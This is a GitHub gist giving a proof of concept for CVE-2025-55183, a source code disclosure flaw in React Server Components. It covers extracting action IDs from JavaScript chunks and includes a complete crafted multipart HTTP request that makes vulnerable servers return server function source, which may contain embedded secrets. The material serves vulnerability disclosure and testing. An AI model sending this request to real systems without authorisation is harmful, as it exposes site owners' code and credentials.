Skip to content

Instantly share code, notes, and snippets.

@win3zz
Last active December 24, 2025 15:27
Show Gist options
  • Select an option

  • Save win3zz/3dfbbd99abf3844a331eefddeb68accd to your computer and use it in GitHub Desktop.

Select an option

Save win3zz/3dfbbd99abf3844a331eefddeb68accd to your computer and use it in GitHub Desktop.
Next.js RSC Server Function Source Code Disclosure (CVE-2025-55183)

CVE-2025-55183 - Proof of Concept (PoC)

Description

An information leak vulnerability exists in specific configurations of React Server Components versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1, including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. A specifically crafted HTTP request sent to a vulnerable Server Function may unsafely return the source code of any Server Function. Exploitation requires the existence of a Server Function which explicitly or implicitly exposes a stringified argument.

Steps to Reproduce

1. Obtain Action IDs

Open the application in the browser → DevTools → Network → JS.

Inspect /_next/static/chunks/*.js files and extract all RSC Action IDs:

[a-f0-9]{40,42}
Screenshot 2025-12-24 205616

No special tooling required.

2. Trigger Source Code Disclosure

Send the following request in Burp Repeater, replacing <action_id>:

POST / HTTP/1.1
Host: target.com
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----SourceLeak
Next-Action: <action_id>

------SourceLeak
Content-Disposition: form-data; name="0"

["$F1"]
------SourceLeak
Content-Disposition: form-data; name="1"

{"id":"<action_id>","bound":null}
------SourceLeak--

3. Observe the Leak

A vulnerable server replies with:

  • Content-Type: text/x-component
  • Full server function source code, e.g.:
function createOrder(userId, payload) {
  const apiKey = "sk_live_xxxxx";
  ...
}
Screenshot 2025-12-24 203718

Note: Next.js normally replaces functions with: function () { [omitted code] }

If you see full code instead of omitted placeholders → the server is vulnerable.

References:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment